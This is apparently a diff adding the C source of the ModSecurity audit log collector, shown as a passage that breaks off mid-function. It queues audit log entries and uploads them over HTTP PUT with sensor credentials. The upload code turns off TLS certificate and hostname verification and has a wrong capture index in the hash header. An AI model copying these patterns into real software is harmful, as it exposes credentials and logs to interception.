+ */ +static void transaction_log(int direction, const char *entry) +{ + apr_size_t nbytes, nbytes_written; + char msg[8196] = ""; + + apr_snprintf(msg, sizeof(msg), "%u %s: %s\n", (unsigned int)apr_time_sec(apr_time_now()), + (direction == IN ? "IN" : "OUT"), entry); + nbytes = strlen(msg); + apr_file_write_full(transaction_log_fd, msg, nbytes, &nbytes_written); +} + + +/** + * Executes a checkpoint, which causes the current queue to be + * written to a file and the transaction log to be truncated. + */ +static void transaction_checkpoint() +{ + /* ENH: These big enough? */ + char new_queue_path[256]; + char old_queue_path[256]; + apr_file_t *queue_fd = NULL; + apr_hash_index_t *hi = NULL; + char msg[256]; + int i; + + apr_snprintf(new_queue_path, sizeof(new_queue_path), "%s.new", queue_path); + apr_snprintf(old_queue_path, sizeof(old_queue_path), "%s.old", queue_path); + apr_snprintf(msg, sizeof(msg), "%u\n", (unsigned int)apr_time_sec(apr_time_now())); + + if (! have_read_data) { + error_log(LOG_DEBUG, NULL, "Checkpoint not required."); + return; + } + + /* Put a lock in place to ensure exclusivity. */ + if (APR_STATUS_IS_EBUSY(apr_global_mutex_trylock(gmutex))) { + error_log(LOG_WARNING, NULL, "Checkpoint waiting on mutex"); + } + apr_global_mutex_lock(gmutex); + + error_log(LOG_DEBUG, NULL, "Checkpoint started."); + + /* Dump active entries into a new queue file. */ + if (apr_file_open(&queue_fd, new_queue_path, APR_WRITE | APR_CREATE + | APR_EXCL | APR_TRUNCATE | APR_FILE_NOCLEANUP, APR_OS_DEFAULT, pool) != APR_SUCCESS) + { + error_log(LOG_ERROR, NULL, "Failed to create file: %s", new_queue_path); + apr_global_mutex_unlock(gmutex); + return; + } + + /* Write the time first. */ + apr_file_write_full(queue_fd, msg, strlen(msg), NULL); + + /* Dump the entries sitting in the queue first. */ + for (i = 0; i < queue->nelts; i++) { + entry_t *entry = ((entry_t **)queue->elts)[i]; + apr_file_write_full(queue_fd, entry->line, entry->line_size, NULL); + apr_file_write_full(queue_fd, &"\n", 1, NULL); + } + error_log(LOG_DEBUG2, NULL, "Checkpoint wrote %d queued entries to new queue.", i); + + /* Then dump the ones that are currently being processed. */ + i = 0; + for (hi = apr_hash_first(NULL, in_progress); hi != NULL; hi = apr_hash_next(hi)) { + void *e; + entry_t *entry = NULL; + + i++; + apr_hash_this(hi, NULL, NULL, &e); + entry = e; /* quiet type-punned warning */ + apr_file_write_full(queue_fd, entry->line, entry->line_size, NULL); + apr_file_write_full(queue_fd, &"\n", 1, NULL); + } + error_log(LOG_DEBUG2, NULL, "Checkpoint wrote %d additional entries to new queue.", i); + + apr_file_close(queue_fd); + + /* Switch the files and truncate the transaction log file. */ + apr_file_remove(old_queue_path, pool); + apr_file_rename(queue_path, old_queue_path, pool); + apr_file_rename(new_queue_path, queue_path, pool); + apr_file_remove(old_queue_path, pool); + apr_file_trunc(transaction_log_fd, 0); + + /* Unlock and exit. */ + apr_global_mutex_unlock(gmutex); + + error_log(LOG_DEBUG, NULL, "Checkpoint completed."); +} + + +/** + * Parse one confguration line and add it to the + * configuration table. + */ +static void parse_configuration_line(const char *line, int line_count) +{ + char *start = NULL, *command = NULL; + char *p = NULL; + + /* Remove the trailing newline character. */ + p = (char *)line; + while(*p != '\0') p++; + if ((p > start)&&(*(p - 1) == '\n')) *(p - 1) = '\0'; + + p = (char *)line; + /* Ignore whitespace at the beginning of the line. */ + while(apr_isspace(*p)) p++; + + /* Ignore empty lines and comments. */ + if ((*p == '\0')||(*p == '#')) return; + + start = p; + while(!apr_isspace(*p)&&(*p != '\0')) p++; + + command = apr_pstrmemdup(pool, start, p - start); + + while(apr_isspace(*p)) p++; + + /* Remove whitespace at the end. */ + start = p; + while(*p != '\0') p++; + if (p > start) { + p--; + while(apr_isspace(*p)) { + *p-- = '\0'; + } + } + + /* Remove quotes, but only if we have matching */ + if ((*start == '"') && (p > start) && (*p == '"')) { + start++; + *p-- = '\0'; + } + + /* Take the last directive */ + /* ENH: Error on dup directives? */ + apr_table_set(conf, command, start); +} + + +/** + * Reads configuration from a file. + */ +static void read_configuration() +{ + char linebuf[4096]; + apr_status_t rc; + apr_file_t *fd; + int line_count; + + conf = apr_table_make(pool, 32); + if (conf == NULL) { + error_log(LOG_ERROR, NULL, MEMALLOC_ERROR_MSG); + logc_shutdown(1); + } + + rc = apr_file_open(&fd, conffile, APR_READ | APR_FILE_NOCLEANUP, 0, pool); + if (rc != APR_SUCCESS) { + error_log(LOG_ERROR, NULL, "Unable to open configuration file: %s", conffile); + logc_shutdown(1); + } + + line_count = 0; + for(;;) { + rc = apr_file_gets(linebuf, 4096, fd); + if (rc == APR_EOF) return; + if (rc != APR_SUCCESS) { + error_log(LOG_ERROR, NULL, "Error reading from the configuration file."); + logc_shutdown(1); + } + + line_count++; + parse_configuration_line(linebuf, line_count); + } + + apr_file_close(fd); +} + + +/** + * Initialize the configuration. + */ +static void init_configuration() +{ + const char *s = NULL; + + s = apr_table_get(conf, "CollectorRoot"); + if (s != NULL) { + collector_root = s; + } + + s = apr_table_get(conf, "CheckpointInterval"); + if (s != NULL) { + checkpoint_interval = atoi(s); + } + + s = apr_table_get(conf, "ErrorLog"); + if (s != NULL) { + error_log_path = file_path(s); + } + + s = apr_table_get(conf, "ErrorLogLevel"); + if (s != NULL) { + error_log_level = atoi(s); + } + + s = apr_table_get(conf, "QueuePath"); + if (s != NULL) { + queue_path = file_path(s); + } + else { + error_log(LOG_ERROR, NULL, "QueuePath not defined in the configuration file."); + logc_shutdown(1); + } + + s = apr_table_get(conf, "LockFile"); + if (s != NULL) { + lockfile = file_path(s); + } + + s = apr_table_get(conf, "ServerErrorTimeout"); + if (s != NULL) { + server_error_timeout = atoi(s); + } + + s = apr_table_get(conf, "StartupDelay"); + if (s != NULL) { + startup_delay = atoi(s); + } + + s = apr_table_get(conf, "TransactionDelay"); + if (s != NULL) { + transaction_delay = atoi(s); + } + + s = apr_table_get(conf, "TransactionLog"); + if (s != NULL) { + transaction_log_path = file_path(s); + } + + s = apr_table_get(conf, "MaxConnections"); + if (s != NULL) { + int v = atoi(s); + if (v >= 0) max_connections = v; + } + + s = apr_table_get(conf, "KeepAlive"); + if (s != NULL) { + int v = atoi(s); + if (v >= 0) keep_alive = v; + } + + s = apr_table_get(conf, "KeepAliveTimeout"); + if (s != NULL) { + int v = atoi(s); + if (v >= 0) keep_alive_timeout = v; + } + + s = apr_table_get(conf, "LogStorageDir"); + if (s != NULL) { + log_repository = file_path(s); + } + else { + error_log(LOG_ERROR, NULL, "Missing mandatory parameter LogStorageDir.\n"); + logc_shutdown(1); + } + + s = apr_table_get(conf, "ConsoleURI"); + if (s != NULL) { + console_uri = s; + } + else { + error_log(LOG_ERROR, NULL, "Missing mandatory parameter ConsoleURI.\n"); + logc_shutdown(1); + } + + s = apr_table_get(conf, "SensorUsername"); + if (s != NULL) { + sensor_username = s; + } + else { + error_log(LOG_ERROR, NULL, "Missing mandatory parameter SensorUsername.\n"); + logc_shutdown(1); + } + + s = apr_table_get(conf, "SensorPassword"); + if (s != NULL) { + sensor_password = s; + } + else { + error_log(LOG_ERROR, NULL, "Missing mandatory parameter SensorPassword.\n"); + logc_shutdown(1); + } + + s = apr_table_get(conf, "KeepEntries"); + if (s != NULL) { + keep_entries = atoi(s); + } + else { + keep_entries = 0; + } +} + + +/** + * Clean-up resources before process shutdown. + */ +static void logc_cleanup() +{ + curl_global_cleanup(); +} + + +/** + * Shutdown the logger. + */ +static void logc_shutdown(int rc) +{ + /* Tell the threads to shut down. */ + running = 0; + + error_log(LOG_DEBUG, NULL, "Shutting down"); + + /* Wait for the management thread to stop */ + /* ENH: Need a fixed timeout if this never happens */ + while(management_thread_active != 0) { + apr_sleep(10 * 1000); + } + + if (rc == 0) { + error_log(LOG_NOTICE, NULL, "ModSecurity Audit Log Collector %s terminating normally.", VERSION); + } + else { + error_log(LOG_NOTICE, NULL, "ModSecurity Audit Log Collector %s terminating with error %d", VERSION, rc); + } + + if (error_log_fd != NULL) { + apr_file_flush(error_log_fd); + } + + exit(rc); +} + + +/** + * Handle signals. + */ +static int handle_signals(int signum) +{ + switch (signum) { + case SIGHUP: + error_log(LOG_NOTICE, NULL, "Caught SIGHUP, ignored."); + /* ENH: reload config? */ + return 0; + case SIGINT: + error_log(LOG_NOTICE, NULL, "Caught SIGINT, shutting down."); + logc_shutdown(0); + case SIGTERM: + error_log(LOG_NOTICE, NULL, "Caught SIGTERM, shutting down."); + logc_shutdown(0); + case SIGALRM: + error_log(LOG_DEBUG, NULL, "Caught SIGALRM, ignored."); + return 0; + case SIGTSTP: + error_log(LOG_DEBUG, NULL, "Caught SIGTSTP, ignored."); + return 0; + } + + error_log(LOG_NOTICE, NULL, "Caught unexpected signal %d: %s", signum, apr_signal_description_get(signum)); + logc_shutdown(1); + + return 0; /* should never reach */ +} + + +/** + * This function is invoked by Curl to read the response + * body. Since we don't care about the response body the function + * pretends it is retrieving data where it isn't. + */ +size_t curl_writefunction(void *ptr, size_t size, size_t nmemb, void *stream) +{ + unsigned char *data = (unsigned char *)ptr; + unsigned char *status = (unsigned char *)stream; + + /* Grab the status line text from the first line of output */ + if ((status[0] == 0) && (status[1] == 1)) { + apr_size_t i, j; + int ismsg = 0; + + status[1] = 0; /* reset hidden init flag */ + + for (i = 0, j = 0; i < STATUSBUF_SIZE; i++) { + /* We found a line ending so we are done */ + if ( data[i] == '\r' ) { + break; + } + /* Skip to after the first space (where msg is) */ + if (ismsg < 3) { + if ((ismsg == 1) && !isspace(data[i])) { + ismsg++; + } + else if (isspace(data[i])) { + ismsg++; + } + continue; + } + + /* Copy data (msg) from data to status */ + status[j++] = data[i]; + } + status[j] = '\0'; + urldecode_inplace(status, j); + } + + /* do nothing */ + return (size * nmemb); +} + + +/** + * This function is invoked by Curl whenever it has something + * to say. We forward its messages to the error log at level + * DEBUG. + */ +int curl_debugfunction(CURL *curl, curl_infotype infotype, char *data, size_t datalen, void *ourdata) +{ + apr_size_t i, effectivelen; + + if (error_log_level < LOG_DEBUG) return 0; + + effectivelen = datalen; + for(i = 0; i < datalen; i++) { + if ((data[i] == 0x0a)||(data[i] == 0x0d)) { + effectivelen = i; + break; + } + } + + if (infotype == CURLINFO_TEXT) { + error_log(LOG_DEBUG, ourdata, "CURL: %s", _log_escape(data, effectivelen)); + } + + return 0; +} + + +/** + * Initialise the necessary resources and structures. + */ +static void logc_init() +{ + char errstr[1024]; + apr_status_t rc = 0; + const char *errptr = NULL; + int i, erroffset; + + curl_global_init(CURL_GLOBAL_ALL); + atexit(logc_cleanup); + + if ((rc = apr_file_open(&error_log_fd, error_log_path, APR_WRITE | APR_CREATE | APR_APPEND, + APR_OS_DEFAULT, pool)) != APR_SUCCESS) + { + error_log(LOG_ERROR, NULL, "Failed to open the error log %s: %s\n", + error_log_path, apr_strerror(rc, errstr, 1024)); + logc_shutdown(1); + } + + if ( startup_delay > 0 ) { + error_log(LOG_NOTICE, NULL, "ModSecurity Audit Log Collector %s delaying startup for %dms", VERSION, startup_delay); + apr_sleep(startup_delay * 1000); + } + + error_log(LOG_NOTICE, NULL, "ModSecurity Audit Log Collector %s started.", VERSION); + + queue = apr_array_make(pool, 64, sizeof(entry_t *)); + if (queue == NULL) { + error_log(LOG_ERROR, NULL, MEMALLOC_ERROR_MSG); + logc_shutdown(1); + } + + in_progress = apr_hash_make(pool); + if (in_progress == NULL) { + error_log(LOG_ERROR, NULL, MEMALLOC_ERROR_MSG); + logc_shutdown(1); + } + + if ((rc = apr_global_mutex_create(&gmutex, lockfile, APR_LOCK_DEFAULT, pool)) != APR_SUCCESS) { + error_log(LOG_ERROR, NULL, "Failed to create global mutex: %s", + apr_strerror(rc, errstr, 1024)); + logc_shutdown(1); + } + + if ((rc = apr_thread_mutex_create(&mutex, APR_THREAD_MUTEX_UNNESTED, pool)) != APR_SUCCESS) { + error_log(LOG_ERROR, NULL, "Failed to create mutex: %s", + apr_strerror(rc, errstr, 1024)); + logc_shutdown(1); + } + + entry_counter = 1; + + curl_handles = apr_array_make(pool, max_connections, sizeof(CURL *)); + if (curl_handles == NULL) { + error_log(LOG_ERROR, NULL, MEMALLOC_ERROR_MSG); + logc_shutdown(1); + } + + /* Initialise a number of Curl handles. */ + for(i = 0; i < max_connections; i++) { + CURL *curl = NULL; + + /* Create cURL handle. */ + curl = curl_easy_init(); + + /* Pre-configure the handle. */ + curl_easy_setopt(curl, CURLOPT_UPLOAD, TRUE); + curl_easy_setopt(curl, CURLOPT_PUT, TRUE); + curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, NULL); + curl_easy_setopt(curl, CURLOPT_URL, console_uri); + curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, FALSE); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0); + curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 15); + curl_easy_setopt(curl, CURLOPT_NOSIGNAL, TRUE); + curl_easy_setopt(curl, CURLOPT_HEADER, TRUE); + + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_writefunction); + + *(CURL **)apr_array_push(curl_handles) = curl; + } + + logline_regex = pcre_compile(logline_pattern, PCRE_CASELESS, &errptr, &erroffset, NULL); + if (logline_regex == NULL) { + error_log(LOG_ERROR, NULL, "Failed to compile pattern: %s\n", logline_pattern); + logc_shutdown(1); + } + + requestline_regex = pcre_compile(requestline_pattern, PCRE_CASELESS, &errptr, &erroffset, NULL); + if (requestline_regex == NULL) { + error_log(LOG_ERROR, NULL, "Failed to compile pattern: %s\n", requestline_pattern); + logc_shutdown(1); + } +} + + +/** + * HACK: To allow two mlogcs running against a single dataset we use the + * mtime as a flag for deletion. + * + * 1) Check file date. + * 2) If it is KEEP_ENTRIES_REMOVE_TIME, then remove the file. + * 3) Otherwise set the date and let the other mlogc remove it. + */ +static void keep_entries_hack(apr_pool_t *mp, apr_thread_t *thread, const char *fn) +{ + apr_file_t *f = NULL; + apr_finfo_t finfo; + char errstr[1024]; + apr_status_t rc; + + /* Opening for write as required for exclusive lock */ + if ((rc = apr_file_open(&f, fn, APR_READ|APR_WRITE|APR_APPEND, APR_OS_DEFAULT, mp)) != APR_SUCCESS) { + error_log(LOG_ERROR, thread, "Could not open \"%s\": %s", fn, apr_strerror(rc, errstr, 1024)); + return; + } + + if ((rc = apr_file_lock(f, APR_FLOCK_EXCLUSIVE|APR_FLOCK_NONBLOCK)) != APR_SUCCESS) { + error_log(LOG_DEBUG2, thread, "Waiting for lock on \"%s\": %s", fn, apr_strerror(rc, errstr, 1024)); + if ((rc = apr_file_lock(f, APR_FLOCK_EXCLUSIVE)) != APR_SUCCESS) { + error_log(LOG_ERROR, thread, "Could not lock \"%s\": %s", fn, apr_strerror(rc, errstr, 1024)); + apr_file_close(f); + return; + } + } + error_log(LOG_DEBUG2, thread, "Locked: %s", fn); + + /* For testing only */ + TEST_WITH_RAND_SLEEP(2); + + if ((rc = apr_stat(&finfo, fn, APR_FINFO_MIN, mp)) != APR_SUCCESS) { + error_log(LOG_ERROR, thread, "Could not stat \"%s\": %s", fn, apr_strerror(rc, errstr, 1024)); + error_log(LOG_DEBUG2, thread, "Unlocked: %s", fn); + apr_file_close(f); + return; + } + + if (finfo.mtime != KEEP_ENTRIES_REMOVE_TIME) { + error_log(LOG_DEBUG2, thread, "Set mtime: %s", fn); + if ((rc = apr_file_mtime_set(fn, (apr_time_t)KEEP_ENTRIES_REMOVE_TIME, mp)) != APR_SUCCESS) { + error_log(LOG_ERROR, thread, "Could not set mtime on \"%s\": %s", fn, apr_strerror(rc, errstr, 1024)); + } + error_log(LOG_DEBUG2, thread, "Unlocked: %s", fn); + apr_file_close(f); + return; + } + + + error_log(LOG_DEBUG, thread, "Removing: %s", fn); + error_log(LOG_DEBUG2, thread, "Unlocked: %s", fn); + apr_file_close(f); + apr_file_remove(fn, mp); +} + + +/** + * Worker thread. Works in a loop, fetching jobs from the queue, + * until the queue is empty or it is otherwise told to quit. + */ +static void * APR_THREAD_FUNC thread_worker(apr_thread_t *thread, void *data) +{ + unsigned int loop_count = 0; + CURL *curl = (CURL *)data; + entry_t **entryptr = NULL; + entry_t *entry = NULL; + apr_status_t rc; + apr_finfo_t finfo; + int capturevector[CAPTUREVECTORSIZE]; + int take_new = 1; + apr_pool_t *tpool; + struct curl_slist *headerlist = NULL; + char curl_error_buffer[CURL_ERROR_SIZE] = ""; + + /* There is no need to do the sleep if this was an invalid entry + * as the sleep is just to protect flooding the console server + * with rapid requests. With an invalid entry we never hit the + * server, so we should not delay processing the next event. + */ + int nodelay = 0; + + + /* Each worker uses its own pool to manage memory. To avoid + * memory leaks the pool is cleared after each processed + * entry. + */ + apr_pool_create(&tpool, NULL); + + error_log(LOG_DEBUG, thread, "Worker thread starting."); + + /* Process jobs in a queue until there are no more jobs to process. */ + for(;;) { + nodelay = 0; + + /* Do we need to shut down? */ + if (running == 0) { + error_log(LOG_DEBUG, thread, "We were told to shut down."); + goto THREAD_SHUTDOWN; + } + + /* Is there a problem with the server? We need + * to shut down if there is. Except that we don't + * want to shut down if we were launched to investigate + * if the server came back online (loop_count will be + * zero in that case). + */ + if ((server_error == 1)&&(loop_count != 0)) { + error_log(LOG_DEBUG, thread, "Shutting down due to server error."); + goto THREAD_SHUTDOWN; + } + + loop_count++; + + /* Get a new entry, but only if we need one. */ + if (take_new) { + error_log(LOG_DEBUG, thread, "Locking mutex."); + + apr_thread_mutex_lock(mutex); + + /* Deal with the previous entry. */ + if (entry != NULL) { + error_log(LOG_DEBUG, thread, "Removing previous entry from storage."); + transaction_log(OUT, entry->line); + + /* Remove previous entry from storage. */ + apr_hash_set(in_progress, &entry->id, sizeof(entry->id), NULL); + + /* Release the memory it used to occupy. */ + free((void *)entry->line); + free(entry); + entry = NULL; + } + + error_log(LOG_DEBUG, thread, "Getting one entry from the queue."); + + /* Get one entry. */ + entryptr = (entry_t **)apr_array_pop(queue); + if (entryptr == NULL) { + apr_thread_mutex_unlock(mutex); + error_log(LOG_DEBUG, thread, "No more work for this thread, exiting."); + + goto THREAD_SHUTDOWN; + } + else { + error_log(LOG_DEBUG, thread, "Got one job."); + entry = *entryptr; + apr_hash_set(in_progress, &entry->id, sizeof(entry->id), entry); + } + + apr_thread_mutex_unlock(mutex); + } + + /* Send one entry. */ + + error_log(LOG_DEBUG, thread, "Processing entry."); + take_new = 0; + + rc = pcre_exec(logline_regex, NULL, entry->line, entry->line_size, 0, 0, + capturevector, CAPTUREVECTORSIZE); + if (rc == PCRE_ERROR_NOMATCH) { /* No match. */ + error_log(LOG_WARNING, thread, "Invalid entry (failed to match regex): %s", _log_escape(entry->line, entry->line_size)); + take_new = 1; + nodelay = 1; + } + else if (rc < 0) { /* Error condition. */ + error_log(LOG_WARNING, thread, "Invalid entry (PCRE error %d): %s", rc, _log_escape(entry->line, entry->line_size)); + take_new = 1; + nodelay = 1; + } + else { /* We have a match. */ + char *uniqueid = NULL; + char *auditlogentry = NULL; + char *hash = NULL; + char *summary = NULL; + char *credentials = NULL; + + error_log(LOG_DEBUG, thread, "Regular expression matched."); + + /* For testing only */ + TEST_WITH_RAND_SLEEP(2); + + uniqueid = apr_psprintf(tpool, "%.*s", + (capturevector[2*13+1] - capturevector[2*13]), (entry->line + capturevector[2*13])); + auditlogentry = apr_psprintf(tpool, "%s/%.*s", log_repository, + (capturevector[2*15+1] - capturevector[2*15]), (entry->line + capturevector[2*15])); + hash = apr_psprintf(tpool, "X-Content-Hash: %.*s", + (capturevector[2*18+1] - capturevector[2*15]), (entry->line + capturevector[2*18])); + summary = apr_psprintf(tpool, "X-ForensicLog-Summary: %s", entry->line); + credentials = apr_psprintf(tpool, "%s:%s", sensor_username, sensor_password); + + rc = apr_stat(&finfo, auditlogentry, APR_FINFO_SIZE, tpool); + if (rc == APR_SUCCESS) { + FILE *hd_src; + char response_buf[STATUSBUF_SIZE]; + CURLcode res; + + /* Initialize the respone buffer with a hidden value */ + response_buf[0] = 0; + response_buf[1] = 1; + + error_log(LOG_DEBUG, thread, "File found, activating cURL."); + + curl_easy_setopt(curl, CURLOPT_VERBOSE, 1); + curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, curl_debugfunction); + curl_easy_setopt(curl, CURLOPT_DEBUGDATA, thread); + curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, curl_error_buffer); + curl_easy_setopt(curl, CURLOPT_USERPWD, credentials); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, response_buf); + + headerlist = curl_slist_append(headerlist, "Expect:"); + headerlist = curl_slist_append(headerlist, hash); + headerlist = curl_slist_append(headerlist, summary); + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist); + + hd_src = fopen(auditlogentry, "rb"); + if (hd_src == NULL) { + error_log(LOG_WARNING, thread, "Invalid entry (failed to open file for reading): %s", auditlogentry); + take_new = 1; + nodelay = 1; + goto THREAD_CLEANUP; + } + + curl_easy_setopt(curl, CURLOPT_READDATA, hd_src); + curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE, finfo.size); + curl_easy_setopt(curl, CURLOPT_INFILESIZE, finfo.size); +#if 0 + mandatory on win32? + curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback); +#endif + + res = curl_easy_perform(curl); + + fclose(hd_src); + + if (res == 0) { + long response_code = 0; + + res = curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code); + error_log(LOG_DEBUG, thread, "Request returned with status \"%ld %s\": %s", response_code, response_buf, uniqueid); + + + if (response_code == 0) { + /* Assume problem with connection */ + error_log(LOG_WARNING, thread, "Flagging server as errored after failure to retrieve response code for entry %s (cURL code %d): Possible SSL negotiation error", + uniqueid, res); + apr_sleep(1000 * 1000); + take_new = 0; + server_error = 1; + server_error_last_check_time = apr_time_now(); + } + else if (res != 0) { + error_log(LOG_WARNING, thread, "Flagging server as errored after failure to retrieve response code for entry %s (cURL code %d): %s", + uniqueid, res, curl_error_buffer); + apr_sleep(1000 * 1000); + take_new = 0; + server_error = 1; + server_error_last_check_time = apr_time_now(); + } + else { + if (response_code == 200) { + double total_time, upload_size; + + if (server_error == 1) { + error_log(LOG_NOTICE, thread, "Clearing the server error flag after successful entry submission: %s", uniqueid); + } + server_error = 0; + server_error_last_check_time = 0; + + curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &total_time); + curl_easy_getinfo(curl, CURLINFO_SIZE_UPLOAD, &upload_size); + + if (!keep_entries) { + error_log(LOG_DEBUG, thread, "Removing: %s", auditlogentry); + apr_file_remove(auditlogentry, tpool); + } + else if (keep_entries == KEEP_ENTRIES_REMOVE_HACK) { + keep_entries_hack(tpool, thread, auditlogentry); + } + + error_log(LOG_NOTICE, thread, "Entry completed (%.3f seconds, %.0f bytes): %s", + total_time, upload_size, + uniqueid); + take_new = 1; + } + else if (response_code == 409) { + /* Assume problem with audit log entry. */ + error_log(LOG_WARNING, thread, "Failed to submit entry with \"409 %s\": %s", + response_buf, uniqueid); + take_new = 1; + } + else { + /* Assume problem with server. */ + error_log(LOG_WARNING, thread, "Flagging server as errored after failure to submit entry %s with HTTP response code %ld: %s", + uniqueid, response_code, response_buf); + server_error = 1; + server_error_last_check_time = apr_time_now(); + take_new = 0; + } + } + } + else { /* Something isn't right. */ + error_log(LOG_WARNING, thread, "Flagging server as errored after failure to submit entry %s (cURL code %d): %s", uniqueid, res, curl_error_buffer); + server_error = 1; + server_error_last_check_time = apr_time_now(); + take_new = 0; + + } + } + else { + error_log(LOG_WARNING, thread, "Invalid entry (file not found %d): %s", rc, auditlogentry); + take_new = 1; + nodelay = 1; + } + } + + THREAD_CLEANUP: + + /* Sleep if we sent data to the server so we do not flood */ + /* ENH: Need to sleep for 1ms in a loop checking for shutdown */ + if ((nodelay == 0) && (transaction_delay > 0)) { + error_log(LOG_DEBUG, thread, "Sleeping for %d msec.", transaction_delay); + apr_sleep(transaction_delay * 1000); + } + + if (headerlist != NULL) { + curl_slist_free_all(headerlist); + headerlist = NULL; + } + + apr_pool_clear(tpool); + + error_log(LOG_DEBUG, thread, "Loop completed."); + } + + THREAD_SHUTDOWN: + + apr_thread_mutex_lock(mutex); + + /* Deal with the previous entry, if any. */ + if (entry != NULL) { + apr_hash_set(in_progress, &entry->id, sizeof(entry->id), NULL); + + if (take_new == 0) { /* Not done. */ + *(entry_t **)apr_array_push(queue) = entry; + } + else { + transaction_log(OUT, entry->line); + free((void *)entry->line); + free(entry); + } + + entry = NULL; + } + + /* Return curl handle to the pool for reuse. */ + *(CURL **)apr_array_push(curl_handles) = curl; + + /* No more work, exit. */ + current_workers--; + + apr_thread_mutex_unlock(mutex); + + apr_pool_destroy(tpool); + + error_log(LOG_DEBUG, thread, "Thread done."); + apr_thread_exit(thread, 0); + + return NULL; +} + + +/** + * Creates one new worker, giving it one of the available + * Curl handles to work with. + */ +static void create_new_worker(int lock) +{ + apr_thread_t *thread = NULL; + CURL **curlptr = NULL; + + if (lock) apr_thread_mutex_lock(mutex); + + /* A sanity check: this part executes under lock and + * we want to make *sure* we don't create more threads + * than we are allowed. + */ + if (current_workers >= max_connections) { + if (lock) apr_thread_mutex_unlock(mutex); + return; + } + + curlptr = (CURL **)apr_array_pop(curl_handles); + if (curlptr != NULL) { + apr_threadattr_t *thread_attrs; + apr_status_t rc; + + apr_threadattr_create(&thread_attrs, pool); + apr_threadattr_detach_set(thread_attrs, 1); + apr_threadattr_stacksize_set(thread_attrs, 1024); + + rc = apr_thread_create(&thread, thread_attrs, thread_worker, *curlptr, pool); + if (rc != APR_SUCCESS) { + apr_thread_mutex_unlock(mutex); + error_log(LOG_ERROR, thread, "Failed to create new worker thread: %d", rc); + logc_shutdown(1); + } + + current_workers++; + } + else { + if (lock) apr_thread_mutex_unlock(mutex); + error_log(LOG_ERROR, thread, "No more cURL handles (Internal Error)."); + logc_shutdown(1); + } + + if (lock) apr_thread_mutex_unlock(mutex); +} + + +/** + * This function implements the management thread. + */ +static void * APR_THREAD_FUNC thread_manager(apr_thread_t *thread, void *data) +{ + apr_time_t last = 0; + apr_time_t now = 0; + + error_log(LOG_DEBUG, thread, "Management thread: Starting."); + + for(;;) { + now = apr_time_now(); + + /* Should we stop running? */ + if (running == 0) { + /* We need to be last */ + error_log(LOG_DEBUG, thread, "Management thread: Waiting for worker threads to finish."); + while(current_workers > 0) { + apr_sleep(10 * 1000); + } + + if (have_read_data) { + error_log(LOG_NOTICE, thread, "Running final transaction checkpoint."); + transaction_checkpoint(); + } + + error_log(LOG_DEBUG, thread, "Management thread: Exiting."); + management_thread_active = 0; + apr_thread_exit(thread, 0); + } + + /* Sleep for a while, but wake up often to check running status */ + if ((last > 0) && ((now - last) < MANAGER_SLEEP)) { + apr_sleep(MANAGER_SUBSLEEP); + continue; + } + last = now; + + error_log(LOG_DEBUG2, thread, "Management thread: Processing"); + + /* When the server is flagged errored we need to + * create a worker thread from time to time to + * investigate. + */ + if (server_error) { + if ((current_workers == 0)&& + (apr_time_sec(now - server_error_last_check_time) > server_error_timeout)) + { + server_error_last_check_time = now; + error_log(LOG_DEBUG, thread, "Management thread: Creating worker thread to investigate server."); + create_new_worker(1); + } + } + else { + if ((current_workers < max_connections)&&(queue->nelts > current_workers)) { + error_log(LOG_DEBUG, thread, "Management thread: Creating worker thread to catch up with the queue."); + create_new_worker(1); + } + } + + /* Initiate a transaction log checkpoint if enough time passed since the last one. */ + if (apr_time_sec(now - checkpoint_time_last) > checkpoint_interval) { + error_log(LOG_DEBUG, thread, "Management thread: Initiating a checkpoint" + " (previous was %" APR_TIME_T_FMT " seconds ago).", apr_time_sec(now - checkpoint_time_last)); + checkpoint_time_last = now; + transaction_checkpoint(); + } + else { + error_log(LOG_DEBUG2, thread, "Management thread: Last checkpoint was %" APR_TIME_T_FMT " seconds ago.", + apr_time_sec(now - checkpoint_time_last)); + } + } + + return NULL; +} + + +/** + * Thread to handle all signals + */ +static void * APR_THREAD_FUNC thread_signals(apr_thread_t *thread, void *data) +{ + apr_status_t rc; + + error_log(LOG_DEBUG, thread, "Signal thread: Starting."); + rc = apr_signal_thread(handle_signals); + if (rc != APR_SUCCESS) { + error_log(LOG_DEBUG, thread, "Signal thread: Error %d", rc); + logc_shutdown(1); + } + + return NULL; +} + + +/** + * The main loop where we receive log entries from + * Apache and add them to the queue, sometimes creating + * new worker threads to handle them. + */ +static void receive_loop() { + apr_file_t *fd_stdin; + apr_size_t nbytes = PIPE_BUF_SIZE; + char *buf = apr_palloc(pool, PIPE_BUF_SIZE + 1); + char errstr[1024]; + apr_size_t evnt = 0; /* Index in buf to first event char */ + apr_size_t curr = 0; /* Index in buf to current processing char */ + apr_size_t next = 0; /* Index in buf to next unused char */ + int done = 0; + int drop_next = 0; + int buffered_events = 0; + + /* Open stdin. */ + if (apr_file_open_stdin(&fd_stdin, pool) != APR_SUCCESS) { + error_log(LOG_ERROR, NULL, "Unable to open stdin for reading"); + logc_shutdown(1); + } + + /* Always want this NUL terminated */ + buf[PIPE_BUF_SIZE] = '\0'; + + /* Loop forever receiving entries from stdin. */ + while(!done || (curr < next)) { + apr_status_t rc; + + error_log(LOG_DEBUG2, NULL, "Internal state: [evnt \"%" APR_SIZE_T_FMT "\"][curr \"%" APR_SIZE_T_FMT "\"][next \"%" APR_SIZE_T_FMT "\"][nbytes \"%" APR_SIZE_T_FMT "\"]", evnt, curr, next, nbytes); + + /* If we are not done and have the space, read more */ + if (!done && (nbytes > 0)) { + buffered_events = 0; + nbytes = PIPE_BUF_SIZE - next; + rc = apr_file_read(fd_stdin, (buf + next), &nbytes); + if (rc != APR_SUCCESS) { + if (have_read_data) { + error_log(LOG_NOTICE, NULL, "No more data 